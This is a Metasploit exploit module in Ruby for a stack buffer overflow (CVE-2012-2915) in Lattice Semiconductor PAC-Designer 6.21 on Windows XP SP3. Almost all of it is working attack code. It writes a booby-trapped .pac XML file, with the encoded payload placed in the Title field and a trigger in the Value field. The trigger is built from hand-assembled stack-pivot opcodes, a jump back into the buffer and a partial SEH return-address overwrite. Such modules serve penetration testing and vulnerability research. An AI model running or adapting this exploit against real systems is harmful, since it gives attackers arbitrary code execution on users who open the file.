##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer
6.21. As a .pac file, when supplying a long string of data to the 'value' field
under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption
on the stack, which results in arbitrary code execution under the context of the
user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', #Discovery
'juan vazquez', #Metasploit
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-2915'],
['OSVDB', '82001'],
['EDB', '19006'],
['BID', '53566'],
['URL', 'http://secunia.com/advisories/48741']
],
'Payload' =>
{
'BadChars' => "\x00\x3c\x3e",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh"
},
'Platform' => 'win',
'Targets' =>
[
[
'PAC-Designer 6.21 on Windows XP SP3',
{
# P/P/R in PACD621.exe
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
'Ret' => 0x00805020
}
],
],
'Privileged' => false,
'DisclosureDate' => "May 16 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])
], self.class)
end
def exploit
# The payload is placed in the <title> field
p = payload.encoded
# The trigger is placed in the <value> field, which will jmp to our
# payload in the <title> field.
buf = "\x5f" #POP EDI
buf << "\x5f" #POP EDI
buf << "\x5c" #POP ESP
buf << "\x61"*6 #POPAD x 6
buf << "\x51" #PUSH ECX
buf << "\xc3" #RET
buf << rand_text_alpha(96-buf.length, payload_badchars)
buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}" #Jmp back to the beginning of the buffer
buf << [target.ret].pack('V')[0,3] # Partial overwrite
xml = %Q|<?xml version="1.0"?>
<PacDesignData>
<DocFmtVersion>1</DocFmtVersion>
<DeviceType>ispPAC-CLK5410D</DeviceType>
<CreatedBy>PAC-Designer 6.21.1336</CreatedBy>
<SummaryInformation>
<Title>#{p}</Title>
<Author>#{Rex::Text.rand_text_alpha(6)}</Author>
</SummaryInformation>
<SymbolicSchematicData>
<Symbol>
<SymKey>153</SymKey>
<NameText>Profile 0 Ref Frequency</NameText>
<Value>#{buf}</Value>
</Symbol>
</SymbolicSchematicData>
</PacDesignData>|
file_create(xml)
end
end
